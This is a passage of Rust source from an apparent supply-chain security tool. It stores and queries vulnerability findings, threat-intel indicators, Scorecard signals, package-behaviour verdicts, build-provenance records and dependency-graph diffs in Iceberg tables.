let mut out = Vec::new();
for c in cands.into_iter().filter(|c| c.rev == latest) {
let art = crate::core::ArtifactRef {
ecosystem: DEFAULT_ECOSYSTEM.to_string(),
name: c.name.clone(),
version: c.version.clone(),
blob_sha256: String::new(),
};
if c.adv.matches(&art) {
out.push(FleetFinding {
repo: c.repo,
ecosystem: DEFAULT_ECOSYSTEM.to_string(),
name: c.name,
version: c.version,
advisory_id: c.adv.id.clone(),
severity: c.adv.severity,
kev: c.adv.kev,
summary: c.adv.summary.clone(),
});
}
}
Ok(out)
}
// ── Materialized fleet verdict (vuln_findings, baddie-detection b1) ──────
/// Persist a fleet-scan result as a `vuln_findings` snapshot generation — the
/// materialized baddie-detection verdict, so the Mímir lens reads a stored row
/// (keyed by purl to join `sbom_components`) instead of recomputing the scan.
/// Append-only.
///
/// Every row carries the **decided b5 verdict** ([`crate::baddie::classify`]) —
/// `verdict` (refuse/hold/act), the `axis` that fired and the evidence `rank` —
/// at `Reachability::Unknown`, which is the honest grade for the present-on-disk
/// base join: no call closure was walked. Use
/// [`append_reachability_gated_findings`](Self::append_reachability_gated_findings)
/// to store rows the b1 closure actually decided.
pub fn append_vuln_findings(&self, snapshot: &str, findings: &[FleetFinding]) -> Result<()> {
let graded: Vec<_> = findings
.iter()
.map(|f| (f.clone(), crate::baddie::Reachability::Unknown))
.collect();
self.append_graded_vuln_findings(snapshot, &graded)
}
/// Persist a fleet-scan result **graded by the b1 call closure** of a captured
/// world snapshot: each finding whose advisory the closure proved CALLED becomes
/// 🔴 refuse, one it proved dead becomes 🟠 hold-demoted, and one the closure had
/// no symbol-level sink for stays `Unknown` (a plain present-vuln hold) rather
/// than being demoted on no evidence. This is the composition that turns the
/// reachable-vuln join from a CLI print into rows the Mímir lens can colour.
///
/// Returns `(refused, held)` counts. `world_snapshot` is the
/// [`capture_world_snapshot`](Self::capture_world_snapshot) id whose
/// `scip_symbols`/`call_edges`/`vuln_symbols` the closure walks; `snapshot` is the
/// `vuln_findings` generation to write (they may be the same id).
#[cfg(feature = "scip")]
pub fn append_vuln_findings_gated(
&self,
snapshot: &str,
findings: &[FleetFinding],
world_snapshot: &str,
) -> Result<(usize, usize)> {
use std::collections::HashSet;
let (reachable_f, suppressed_f) = self.reachable_vuln_findings(world_snapshot)?;
let reachable: HashSet<String> = reachable_f.iter().map(|f| f.id.clone()).collect();
let walked: HashSet<String> = reachable
.iter()
.cloned()
.chain(suppressed_f.iter().map(|f| f.id.clone()))
.collect();
let graded: Vec<_> = findings
.iter()
.map(|f| {
(
f.clone(),
crate::baddie::grade_by_closure(&f.advisory_id, &reachable, &walked),
)
})
.collect();
let refused = graded
.iter()
.filter(|(f, r)| f.verdict(*r).decision == crate::core::Decision::Block)
.count();
self.append_graded_vuln_findings(snapshot, &graded)?;
Ok((refused, graded.len() - refused))
}
/// The ONE `vuln_findings` writer — every persist path funnels through here, so a
/// row can never be written without a verdict (L5: no second batch builder).
fn append_graded_vuln_findings(
&self,
snapshot: &str,
graded: &[(FleetFinding, crate::baddie::Reachability)],
) -> Result<()> {
if graded.is_empty() {
return Ok(());
}
let verdicts: Vec<_> = graded.iter().map(|(f, r)| f.verdict(*r)).collect();
let batch = RecordBatch::try_new(
Arc::new(vuln_findings_schema()),
vec![
str_array(graded.iter().map(|_| snapshot.to_string()).collect()),
str_array(graded.iter().map(|(f, _)| f.repo.clone()).collect()),
str_array(graded.iter().map(|(f, _)| f.ecosystem.clone()).collect()),
str_array(graded.iter().map(|(f, _)| f.name.clone()).collect()),
str_array(graded.iter().map(|(f, _)| f.version.clone()).collect()),
str_array(
graded
.iter()
.map(|(f, _)| crate::sbom::purl(&f.ecosystem, &f.name, &f.version))
.collect(),
),
str_array(graded.iter().map(|(f, _)| f.advisory_id.clone()).collect()),
str_array(
graded
.iter()
.map(|(f, _)| severity_str(f.severity).to_string())
.collect(),
),
str_array(
verdicts
.iter()
.map(|v| v.decision.as_str().to_string())
.collect(),
),
str_array(
verdicts
.iter()
.map(|v| v.axis.as_str().to_string())
.collect(),
),
int_array(verdicts.iter().map(|v| v.rank as i64).collect()),
],
)
.context("build vuln_findings batch")?;
self.append(TABLE_VULN_FINDINGS, batch)
}
/// Read a `vuln_findings` snapshot back as decided [`StoredFinding`] rows,
/// strongest-evidence-first (refuse before hold, then by descending rank) — the
/// order the Mímir lens renders in. An absent table yields no rows.
pub fn read_vuln_findings(&self, snapshot: &str) -> Result<Vec<StoredFinding>> {
let cols = [
"snapshot",
"repo",
"purl",
"advisory_id",
"severity",
"verdict",
"axis",
"rank",
];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let table = self
.inner
.table(&self.qualified(TABLE_VULN_FINDINGS))
.await?;
Ok(table
.read_filtered(&ScanFilter::eq("snapshot", snapshot), &cols)
.await?)
});
let batches = match res {
Ok(b) => b,
Err(e) if is_missing_table(&e) => return Ok(Vec::new()),
Err(e) => return Err(e),
};
let mut out = Vec::new();
for batch in &batches {
let (repo, purl, adv, sev, verdict, axis) = (
str_col(batch, "repo"),
str_col(batch, "purl"),
str_col(batch, "advisory_id"),
str_col(batch, "severity"),
str_col(batch, "verdict"),
str_col(batch, "axis"),
);
let rank_col = batch
.column_by_name("rank")
.and_then(|c| c.as_any().downcast_ref::<Int64Array>());
for i in 0..batch.num_rows() {
let g =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
out.push(StoredFinding {
repo: g(repo),
purl: g(purl),
advisory_id: g(adv),
severity: g(sev),
verdict: g(verdict),
axis: g(axis),
rank: rank_col.map(|a| a.value(i)).unwrap_or(0) as u8,
});
}
}
// Strongest evidence first: refuse (Block) before hold (Warn) before act.
out.sort_by_key(|r| {
let d = match r.verdict.as_str() {
"Block" => 2u8,
"Warn" => 1,
_ => 0,
};
(
std::cmp::Reverse(d),
std::cmp::Reverse(r.rank),
r.repo.clone(),
r.purl.clone(),
)
});
Ok(out)
}
// ── Threat-intel IOC corpus (abuse.ch) ──────────────────────────────────
/// Append IOC indicators as a new snapshot generation (append-only). The
/// garm-side signal, shared by dwarves + garm.
pub fn append_iocs(&self, snapshot: &str, iocs: &[crate::ioc::Ioc]) -> Result<()> {
if iocs.is_empty() {
return Ok(());
}
let batch = RecordBatch::try_new(
Arc::new(ioc_indicators_schema()),
vec![
str_array(iocs.iter().map(|_| snapshot.to_string()).collect()),
str_array(iocs.iter().map(|i| i.kind.as_str().to_string()).collect()),
str_array(iocs.iter().map(|i| i.value.clone()).collect()),
str_array(iocs.iter().map(|i| i.threat.clone()).collect()),
str_array(iocs.iter().map(|i| i.source.clone()).collect()),
str_array(iocs.iter().map(|i| i.tags.join(",")).collect()),
],
)
.context("build ioc_indicators batch")?;
self.append(TABLE_IOCS, batch)
}
/// Read the IOC indicators for a snapshot as `(kind, value, threat, source)`.
/// An absent table (none imported yet) yields no rows, not an error.
pub fn read_iocs(&self, snapshot: &str) -> Result<Vec<(String, String, String, String)>> {
let cols = ["snapshot", "kind", "value", "threat", "source"];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let table = self.inner.table(&self.qualified(TABLE_IOCS)).await?;
Ok(table
.read_filtered(&ScanFilter::eq("snapshot", snapshot), &cols)
.await?)
});
let batches = match res {
Ok(b) => b,
Err(e) if is_missing_table(&e) => return Ok(Vec::new()),
Err(e) => return Err(e),
};
let mut out = Vec::new();
for batch in &batches {
let (kind, value, threat, source) = (
str_col(batch, "kind"),
str_col(batch, "value"),
str_col(batch, "threat"),
str_col(batch, "source"),
);
for i in 0..batch.num_rows() {
let g =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
out.push((g(kind), g(value), g(threat), g(source)));
}
}
Ok(out)
}
/// Rebuild the b6 **match predicate** from a persisted IOC snapshot: read
/// `ioc_indicators` and hand back the [`IocIndex`](crate::ioc::IocIndex) a
/// consumer queries workspace observables against. A row whose `kind` label is
/// unrecognized is SKIPPED (never coerced into a default kind — a mislabelled row
/// silently reinterpreted as a different indicator class would either miss or
/// mass-match), and the count of skipped rows is returned alongside so the caller
/// can surface a schema drift instead of quietly matching against a short list.
pub fn ioc_index(&self, snapshot: &str) -> Result<(crate::ioc::IocIndex, usize)> {
let rows = self.read_iocs(snapshot)?;
let mut iocs = Vec::with_capacity(rows.len());
let mut skipped = 0usize;
for (kind, value, threat, source) in rows {
match crate::ioc::IocKind::from_label(&kind) {
Some(k) => iocs.push(crate::ioc::Ioc::new(k, &value, threat, source, Vec::new())),
None => skipped += 1,
}
}
Ok((crate::ioc::IocIndex::build(iocs), skipped))
}
/// The **b6 join**: score a set of raw workspace observables — a resolved
/// dependency's download URL, a released artifact's hash, a workspace egress
/// IP/domain — against the persisted IOC corpus, returning one row per HIT with
/// modgunn's decided verdict (an unconditional 🔴 refuse; a match IS the
/// compromise, so there is no reachability gate).
///
/// A clean observable produces no row — that is the 🟢 *act* leg and needs no
/// record. Kind is inferred from the observable's shape
/// ([`IocKind::infer`](crate::ioc::IocKind::infer)), so the consumer hands over
/// strings, not pre-classified pairs.
pub fn ioc_scan(&self, snapshot: &str, observables: &[String]) -> Result<Vec<IocHit>> {
let (index, _skipped) = self.ioc_index(snapshot)?;
Ok(observables
.iter()
.filter_map(|obs| {
index.verdict_for(obs).map(|(ioc, verdict)| IocHit {
observable: obs.clone(),
kind: ioc.kind.as_str().to_string(),
indicator: ioc.value.clone(),
threat: ioc.threat.clone(),
source: ioc.source.clone(),
verdict,
})
})
.collect())
}
/// Append symbol-level vulnerability records (Go vuln-DB
/// [`crate::osv::VulnSymbol`]) for a snapshot; append-only. Empty input is a
/// no-op (not an error) so a corpus with no Go symbols doesn't fail the import.
pub fn append_vuln_symbols(
&self,
snapshot: &str,
symbols: &[crate::osv::VulnSymbol],
) -> Result<()> {
if symbols.is_empty() {
return Ok(());
}
let batch = RecordBatch::try_new(
Arc::new(vuln_symbols_schema()),
vec![
str_array(symbols.iter().map(|_| snapshot.to_string()).collect()),
str_array(symbols.iter().map(|s| s.id.clone()).collect()),
str_array(symbols.iter().map(|s| s.ecosystem.clone()).collect()),
str_array(symbols.iter().map(|s| s.package.clone()).collect()),
str_array(symbols.iter().map(|s| s.symbol.clone()).collect()),
str_array(
symbols
.iter()
.map(|s| s.severity.as_str().to_string())
.collect(),
),
],
)
.context("build vuln_symbols batch")?;
self.append(TABLE_VULN_SYMBOLS, batch)
}
/// Read the symbol-level vuln records for a snapshot as
/// `(advisory, ecosystem, package, symbol, severity)`. An absent table (none
/// imported yet) yields no rows, not an error — the Mímir lens loads these into
/// [`crate::scip::WorldSnapshot::vuln_sinks`] via
/// [`crate::scip::VulnSink::from_vuln_symbol`].
pub fn read_vuln_symbols(
&self,
snapshot: &str,
) -> Result<Vec<(String, String, String, String, String)>> {
let cols = [
"snapshot",
"advisory",
"ecosystem",
"package",
"symbol",
"severity",
];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let table = self
.inner
.table(&self.qualified(TABLE_VULN_SYMBOLS))
.await?;
Ok(table
.read_filtered(&ScanFilter::eq("snapshot", snapshot), &cols)
.await?)
});
let batches = match res {
Ok(b) => b,
Err(e) if is_missing_table(&e) => return Ok(Vec::new()),
Err(e) => return Err(e),
};
let mut out = Vec::new();
for batch in &batches {
let (advisory, ecosystem, package, symbol, severity) = (
str_col(batch, "advisory"),
str_col(batch, "ecosystem"),
str_col(batch, "package"),
str_col(batch, "symbol"),
str_col(batch, "severity"),
);
for i in 0..batch.num_rows() {
let g =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
out.push((
g(advisory),
g(ecosystem),
g(package),
g(symbol),
g(severity),
));
}
}
Ok(out)
}
/// Load a snapshot's symbol-level vuln records straight into the
/// [`crate::scip::VulnSink`]s the A8 reachability gate consumes — the one-call
/// seam the Mímir lens uses to seed [`crate::scip::WorldSnapshot::vuln_sinks`]
/// before running [`crate::scip::reachability_gated_vulns`]. Whole-package
/// records (no symbol) map to `None` via
/// [`VulnSink::from_vuln_symbol`](crate::scip::VulnSink::from_vuln_symbol) and are
/// dropped (they have no single call-graph node to gate on — the base
/// present-on-disk join covers them). A row with an unparseable severity label is
/// skipped rather than silently defaulted.
#[cfg(feature = "scip")]
pub fn load_vuln_sinks(&self, snapshot: &str) -> Result<Vec<crate::scip::VulnSink>> {
let rows = self.read_vuln_symbols(snapshot)?;
Ok(rows
.into_iter()
.filter_map(|(advisory, ecosystem, package, symbol, severity)| {
let vs = crate::osv::VulnSymbol {
id: advisory,
ecosystem,
package,
symbol,
severity: crate::core::Severity::from_label(&severity)?,
};
crate::scip::VulnSink::from_vuln_symbol(&vs)
})
.collect())
}
// ── Scorecard signals (A14/A24) + SBOM drift (A30) ──────────────────────
/// Append OSSF Scorecard signals (one row per subject; append-only).
pub fn append_scorecard(&self, signals: &[ScorecardSignals]) -> Result<()> {
if signals.is_empty() {
return Ok(());
}
let batch = RecordBatch::try_new(
Arc::new(scorecard_schema()),
vec![
str_array(signals.iter().map(|s| s.subject.clone()).collect()),
Arc::new(Float64Array::from(
signals.iter().map(|s| s.overall).collect::<Vec<_>>(),
)) as ArrayRef,
Arc::new(BooleanArray::from(
signals.iter().map(|s| s.maintained).collect::<Vec<_>>(),
)) as ArrayRef,
Arc::new(BooleanArray::from(
signals
.iter()
.map(|s| s.branch_protection)
.collect::<Vec<_>>(),
)) as ArrayRef,
Arc::new(BooleanArray::from(
signals
.iter()
.map(|s| s.signed_releases)
.collect::<Vec<_>>(),
)) as ArrayRef,
Arc::new(BooleanArray::from(
signals
.iter()
.map(|s| s.dangerous_workflow)
.collect::<Vec<_>>(),
)) as ArrayRef,
],
)
.context("build scorecard batch")?;
self.append(TABLE_SCORECARD, batch)
}
/// Load Scorecard signals — the latest row per subject (append-only, last wins).
pub fn load_scorecard(&self) -> Result<Vec<ScorecardSignals>> {
let cols = [
"subject",
"overall",
"maintained",
"branch_protection",
"signed_releases",
"dangerous_workflow",
];
let batches = self.rt.block_on(async {
let t = self.inner.table(&self.qualified(TABLE_SCORECARD)).await?;
t.read_columns(&cols).await
})?;
let mut by_subject: std::collections::HashMap<String, ScorecardSignals> =
std::collections::HashMap::new();
for batch in &batches {
let subj = str_col(batch, "subject");
let f = |n| {
batch
.column_by_name(n)
.and_then(|c| c.as_any().downcast_ref::<Float64Array>())
};
let b = |n| {
batch
.column_by_name(n)
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>())
};
let (overall, maint, bp, sr, dw) = (
f("overall"),
b("maintained"),
b("branch_protection"),
b("signed_releases"),
b("dangerous_workflow"),
);
for i in 0..batch.num_rows() {
let s = subj.map(|a| a.value(i).to_string()).unwrap_or_default();
by_subject.insert(
s.clone(),
ScorecardSignals {
subject: s,
overall: overall.map(|a| a.value(i)).unwrap_or(0.0),
maintained: maint.map(|a| a.value(i)).unwrap_or(false),
branch_protection: bp.map(|a| a.value(i)).unwrap_or(false),
signed_releases: sr.map(|a| a.value(i)).unwrap_or(false),
dangerous_workflow: dw.map(|a| a.value(i)).unwrap_or(false),
},
);
}
}
Ok(by_subject.into_values().collect())
}
// ── A23 package-behaviour VERDICT ledger ────────────────────────────────
/// Persist one A23 [`PackageBehavior`] analysis, tagged with the `ecosystem`
/// it came from (`npm`/`pypi`/`pyproject`/`setupcfg`). Append-only: each call is
/// a fresh row (latest per `(ecosystem, subject)` wins on read, like
/// [`append_scorecard`](Self::append_scorecard)). The stored VERDICT — the worst
/// finding severity + the comma-joined finding ids — is DERIVED here from
/// [`PackageBehavior::findings`] (the SAME fold the CLI prints, no twin, L5), so
/// the ledger is queryable ("show every npm package that tripped a High") without
/// re-running the analysis. Round-trips byte/field-identical via
/// [`load_package_behaviors`](Self::load_package_behaviors).
pub fn append_package_behavior(
&self,
ecosystem: &str,
behavior: &PackageBehavior,
) -> Result<()> {
let findings = behavior.findings();
let worst = findings.iter().map(|f| f.severity).max();
let finding_ids = findings
.iter()
.map(|f| f.id.clone())
.collect::<Vec<_>>()
.join(",");
let batch = RecordBatch::try_new(
Arc::new(behavior_features_schema()),
vec![
str_array(vec![ecosystem.to_string()]),
str_array(vec![behavior.subject.clone()]),
str_array(vec![behavior.install_hooks.join(",")]),
Arc::new(BooleanArray::from(vec![behavior.network_in_install])) as ArrayRef,
int_array(vec![behavior.url_count as i64]),
Arc::new(Float64Array::from(vec![behavior.max_token_entropy])) as ArrayRef,
Arc::new(BooleanArray::from(vec![behavior.hex_blob])) as ArrayRef,
str_array(vec![behavior
.sensitive_apis
.iter()
.cloned()
.collect::<Vec<_>>()
.join(",")]),
str_array(vec![worst.map(severity_str).unwrap_or("").to_string()]),
str_array(vec![finding_ids]),
int_array(vec![now_micros()]),
],
)
.context("build behavior_features batch")?;
self.append(TABLE_BEHAVIOR_FEATURES, batch)
}
/// Read back the persisted A23 behaviour analyses — the latest row per
/// `(ecosystem, subject)` (append-only, last wins). The
/// [`PackageBehavior`](crate::behavior::PackageBehavior) inside each
/// [`BehaviorRecord`] round-trips field-identical to the one
/// [`append_package_behavior`](Self::append_package_behavior) stored.
pub fn load_package_behaviors(&self) -> Result<Vec<BehaviorRecord>> {
let cols = [
"ecosystem",
"subject",
"install_hooks",
"network_in_install",
"url_count",
"max_token_entropy",
"hex_blob",
"sensitive_apis",
"worst_severity",
"finding_ids",
"ts_micros",
];
let batches = self.rt.block_on(async {
let t = self
.inner
.table(&self.qualified(TABLE_BEHAVIOR_FEATURES))
.await?;
t.read_columns(&cols).await
})?;
// Latest write per (ecosystem, subject) wins — key by ts so an out-of-order
// read still keeps the newest generation.
let mut latest: std::collections::HashMap<(String, String), BehaviorRecord> =
std::collections::HashMap::new();
for batch in &batches {
let s = |n| str_col(batch, n);
let b = |n| {
batch
.column_by_name(n)
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>())
};
let f = |n| {
batch
.column_by_name(n)
.and_then(|c| c.as_any().downcast_ref::<Float64Array>())
};
let i = |n| {
batch
.column_by_name(n)
.and_then(|c| c.as_any().downcast_ref::<Int64Array>())
};
let (eco, subj, hooks, apis, worst_s, ids) = (
s("ecosystem"),
s("subject"),
s("install_hooks"),
s("sensitive_apis"),
s("worst_severity"),
s("finding_ids"),
);
let (net, urls, entropy, hexb, ts) = (
b("network_in_install"),
i("url_count"),
f("max_token_entropy"),
b("hex_blob"),
i("ts_micros"),
);
for row in 0..batch.num_rows() {
let val = |a: Option<&StringArray>| {
a.map(|x| x.value(row).to_string()).unwrap_or_default()
};
let ecosystem = val(eco);
let subject = val(subj);
let worst = {
let w = val(worst_s);
(!w.is_empty()).then(|| severity_from_str(&w))
};
let rec = BehaviorRecord {
ecosystem: ecosystem.clone(),
behavior: PackageBehavior {
subject: subject.clone(),
install_hooks: split_csv(&val(hooks)),
network_in_install: net.map(|a| a.value(row)).unwrap_or(false),
url_count: urls.map(|a| a.value(row)).unwrap_or(0) as usize,
max_token_entropy: entropy.map(|a| a.value(row)).unwrap_or(0.0),
hex_blob: hexb.map(|a| a.value(row)).unwrap_or(false),
sensitive_apis: split_csv(&val(apis)).into_iter().collect(),
},
worst_severity: worst,
finding_ids: split_csv(&val(ids)),
ts_micros: ts.map(|a| a.value(row)).unwrap_or(0),
};
let ts_now = rec.ts_micros;
latest
.entry((ecosystem, subject))
.and_modify(|e| {
if ts_now >= e.ts_micros {
*e = rec.clone();
}
})
.or_insert(rec);
}
}
Ok(latest.into_values().collect())
}
// ── Build-provenance VERIFY ledger (Tier-1 bug #2) ──────────────────────
/// Record build-provenance VERIFY verdicts — one row per sealed
/// `<artifact>.build-provenance.znippy` modgunn's `provenance::verify` step
/// opened, capturing the outcome (`artifact_id`, `blob_sha256`, `signer`,
/// `verified`, `reason`, timestamp). Append-only, mirroring
/// [`append_advisories`](Self::append_advisories) / [`append_scorecard`](Self::append_scorecard).
/// This is the last hop of the chain: build → provenance → znippy-sealed →
/// **modgunn verify** → THIS warehouse ledger.
pub fn append_build_provenance(&self, verdicts: &[BuildProvenanceVerdict]) -> Result<()> {
if verdicts.is_empty() {
return Ok(());
}
let batch = RecordBatch::try_new(
Arc::new(build_provenance_schema()),
vec![
str_array(verdicts.iter().map(|v| v.artifact_id.clone()).collect()),
str_array(verdicts.iter().map(|v| v.repo.clone()).collect()),
str_array(verdicts.iter().map(|v| v.blob_sha256.clone()).collect()),
str_array(verdicts.iter().map(|v| v.signer.clone()).collect()),
Arc::new(BooleanArray::from(
verdicts.iter().map(|v| v.verified).collect::<Vec<_>>(),
)) as ArrayRef,
str_array(verdicts.iter().map(|v| v.reason.clone()).collect()),
int_array(verdicts.iter().map(|v| v.ts_micros).collect()),
],
)
.context("build build_provenance batch")?;
self.append(TABLE_BUILD_PROVENANCE, batch)
}
/// Read build-provenance VERIFY verdicts, optionally scoped to one
/// `artifact_id`, newest-first (`ts_micros` desc). An absent table (nothing has
/// been verified yet) is not an error — it yields no rows.
pub fn query_build_provenance(
&self,
artifact_id: Option<&str>,
) -> Result<Vec<BuildProvenanceVerdict>> {
let cols = [
"artifact_id",
"repo",
"blob_sha256",
"signer",
"verified",
"reason",
"ts_micros",
];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let t = self
.inner
.table(&self.qualified(TABLE_BUILD_PROVENANCE))
.await?;
Ok(t.read_columns(&cols).await?)
});
let batches = match res {
Ok(b) => b,
Err(e) if is_missing_table(&e) => return Ok(Vec::new()),
Err(e) => return Err(e),
};
let mut out = verdicts_from_batches(&batches);
out.retain(|row| artifact_id.map(|a| row.artifact_id == a).unwrap_or(true));
out.sort_by(|a, b| {
b.ts_micros
.cmp(&a.ts_micros)
.then_with(|| a.artifact_id.cmp(&b.artifact_id))
});
Ok(out)
}
/// The full build-provenance ledger AS OF Iceberg snapshot `to` (`None` = the
/// table's current snapshot). Reads every row committed up to that point via
/// skade's CDC `read_delta(None, to)` — the ledger is append-only, so "all rows
/// added from the beginning up to `to`" IS the ledger's state at that snapshot.
/// Powers [`provenance_diff`](Self::provenance_diff)'s two-point compare. A never-
/// written table ⇒ empty ledger.
pub fn read_build_provenance_as_of(
&self,
to: Option<i64>,
) -> Result<Vec<BuildProvenanceVerdict>> {
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let t = self
.inner
.table(&self.qualified(TABLE_BUILD_PROVENANCE))
.await?;
let snap = match to {
Some(s) => s,
// No explicit `to` ⇒ the current snapshot (whole ledger). A table with
// no snapshot yet has no rows.
None => match t.current_snapshot_id() {
Some(s) => s,
None => return Ok(Vec::new()),
},
};
let (batches, _plan) = t.read_delta(None, snap).await?;
Ok(batches)
});
match res {
Ok(batches) => Ok(verdicts_from_batches(&batches)),
Err(e) if is_missing_table(&e) => Ok(Vec::new()),
Err(e) => Err(e),
}
}
/// **Provenance-diff (A25 at the ledger):** compare the build-provenance ledger
/// at two snapshots — `from` (`None` = the empty beginning) vs `to` (`None` = the
/// current snapshot) — and report which artifacts gained an attestation, lost
/// one, or had their VERIFY verdict **transition** (e.g. VERIFIED → REJECTED, or a
/// signer swap). The alarming supply-chain signal (a once-verified artifact now
/// rejected) is surfaced as [`ProvenanceTransition::is_regression`].
pub fn provenance_diff(
&self,
from: Option<i64>,
to: Option<i64>,
) -> Result<ProvenanceLedgerDelta> {
// `from = None` is the **empty beginning** (nothing attested yet) — distinct
// from `to = None` which is the current snapshot. So a `None` from must not go
// through `read_build_provenance_as_of` (whose `None` means "current").
let old = match from {
Some(s) => self.read_build_provenance_as_of(Some(s))?,
None => Vec::new(),
};
let new = self.read_build_provenance_as_of(to)?;
Ok(provenance_ledger_delta(&old, &new))
}
/// **SBOM drift (A30):** the `(name, version)` components that ENTERED and LEFT
/// between two SBOM capture snapshots (the `snapshot_id` column tags each
/// capture) — the auditable "what changed in the dependency set, and when".
/// Returns `(entered, left)`.
pub fn sbom_drift(
&self,
snap_a: &str,
snap_b: &str,
) -> Result<(Vec<(String, String)>, Vec<(String, String)>)> {
let a = self.read_sbom_at(snap_a)?;
let b = self.read_sbom_at(snap_b)?;
let entered = b.iter().filter(|x| !a.contains(*x)).cloned().collect();
let left = a.iter().filter(|x| !b.contains(*x)).cloned().collect();
Ok((entered, left))
}
/// The `(name, version)` set captured under one SBOM `snapshot_id`. Absent
/// table ⇒ empty set.
fn read_sbom_at(
&self,
snapshot_id: &str,
) -> Result<std::collections::HashSet<(String, String)>> {
let cols = ["name", "version"];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let t = self
.inner
.table(&self.qualified(TABLE_SBOM_COMPONENTS))
.await?;
Ok(
t.read_filtered(&ScanFilter::eq("snapshot_id", snapshot_id), &cols)
.await?,
)
});
let batches = match res {
Ok(b) => b,
Err(e) if is_missing_table(&e) => return Ok(Default::default()),
Err(e) => return Err(e),
};
let mut set = std::collections::HashSet::new();
for batch in &batches {
let (name, version) = (str_col(batch, "name"), str_col(batch, "version"));
for i in 0..batch.num_rows() {
let g =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
set.insert((g(name), g(version)));
}
}
Ok(set)
}
// ── Engine B: modgunn's own world-delta tables ──────────────────────────
/// Record an immutable world-snapshot row (`id`, `root`, resolved
/// `node_count`) stamped with the capture time.
pub fn record_world_snapshot(&self, id: &str, root: &str, node_count: i64) -> Result<()> {
let batch = RecordBatch::try_new(
Arc::new(world_snapshots_schema()),
vec![
str_array(vec![id.to_string()]),
int_array(vec![now_micros()]),
str_array(vec![root.to_string()]),
int_array(vec![node_count]),
],
)
.context("build world_snapshots batch")?;
self.append(TABLE_WORLD_SNAPSHOTS, batch)
}
/// Append the resolved dep-graph edges of a world snapshot (`from`→`to` by
/// node key). The dep-graph half of the [`crate::scip::WorldSnapshot`] capture.
pub fn append_dep_edges(&self, snapshot: &str, edges: &[(String, String)]) -> Result<()> {
if edges.is_empty() {
return Ok(());
}
let snaps = vec![snapshot.to_string(); edges.len()];
let froms: Vec<String> = edges.iter().map(|(f, _)| f.clone()).collect();
let tos: Vec<String> = edges.iter().map(|(_, t)| t.clone()).collect();
let batch = RecordBatch::try_new(
Arc::new(dep_edges_schema()),
vec![str_array(snaps), str_array(froms), str_array(tos)],
)
.context("build dep_edges batch")?;
self.append(TABLE_DEP_EDGES, batch)
}
/// Read a snapshot's dep-graph edges as `(from, to)` node-key pairs.
pub fn read_dep_edges(&self, snapshot: &str) -> Result<Vec<(String, String)>> {
self.read_edges(TABLE_DEP_EDGES, snapshot)
}
/// Append the call-graph edges (caller_id → callee_id) of a snapshot.
pub fn append_call_edges(&self, snapshot: &str, edges: &[(String, String)]) -> Result<()> {
if edges.is_empty() {
return Ok(());
}
let snaps = vec![snapshot.to_string(); edges.len()];
let froms: Vec<String> = edges.iter().map(|(f, _)| f.clone()).collect();
let tos: Vec<String> = edges.iter().map(|(_, t)| t.clone()).collect();
let batch = RecordBatch::try_new(
Arc::new(call_edges_schema()),
vec![str_array(snaps), str_array(froms), str_array(tos)],
)
.context("build call_edges batch")?;
self.append(TABLE_CALL_EDGES, batch)
}
/// Read the call-graph edges for a snapshot. Absent table ⇒ no edges.
pub fn read_call_edges(&self, snapshot: &str) -> Result<Vec<(String, String)>> {
self.read_edges(TABLE_CALL_EDGES, snapshot)
}
/// Shared reader for the two `(snapshot, from_node, to_node)` edge tables.
fn read_edges(&self, table: &str, snapshot: &str) -> Result<Vec<(String, String)>> {
let cols = ["from_node", "to_node"];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let t = self.inner.table(&self.qualified(table)).await?;
Ok(
t.read_filtered(&ScanFilter::eq("snapshot", snapshot), &cols)
.await?,
)
});
let batches = match res {
Ok(b) => b,
Err(e) if is_missing_table(&e) => return Ok(Vec::new()),
Err(e) => return Err(e),
};
let mut out = Vec::new();
for batch in &batches {
let (f, t) = (str_col(batch, "from_node"), str_col(batch, "to_node"));
for i in 0..batch.num_rows() {
let get =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
out.push((get(f), get(t)));
}
}
Ok(out)
}
/// **Family-7 #24 (world time-travel — the explicit two-point diff verb)**:
/// diff any two persisted world snapshots *by id*. Reads each snapshot's
/// dep-graph edges (persisted via [`append_dep_edges`](Self::append_dep_edges) /
/// [`capture_world_snapshot`](Self::capture_world_snapshot)) off the shared
/// Iceberg catalog and returns the structural delta — the dependency edges (and
/// the nodes they imply) that **entered** and **left** between the two points in
/// warehouse time. This is where skade/Iceberg's snapshot history earns its keep:
/// *"what did the dep world look like at snapshot A vs B"*, answered directly,
/// without reconstructing a full in-memory `WorldSnapshot`. A missing snapshot id
/// reads as an empty edge set (so a diff against the world's first capture shows
/// everything as entered). Results are sorted for a stable, auditable record.
pub fn world_diff(&self, snap_a: &str, snap_b: &str) -> Result<WorldEdgeDiff> {
use std::collections::HashSet;
let a: HashSet<(String, String)> = self.read_dep_edges(snap_a)?.into_iter().collect();
let b: HashSet<(String, String)> = self.read_dep_edges(snap_b)?.into_iter().collect();
let mut entered: Vec<(String, String)> = b.difference(&a).cloned().collect();
let mut left: Vec<(String, String)> = a.difference(&b).cloned().collect();
entered.sort();
left.sort();
Ok(WorldEdgeDiff {
from: snap_a.to_string(),
to: snap_b.to_string(),
entered,
left,
})
}
/// Append the SCIP symbol facts of a world snapshot:
/// `(id, display, package, capabilities-csv, is_entrypoint)`.
pub fn append_scip_symbols(
&self,
snapshot: &str,
symbols: &[(String, String, String, String, bool)],
) -> Result<()> {
if symbols.is_empty() {
return Ok(());
}
let n = symbols.len();
let snaps = vec![snapshot.to_string(); n];
let ids: Vec<String> = symbols.iter().map(|s| s.0.clone()).collect();
let disp: Vec<String> = symbols.iter().map(|s| s.1.clone()).collect();
let pkg: Vec<String> = symbols.iter().map(|s| s.2.clone()).collect();
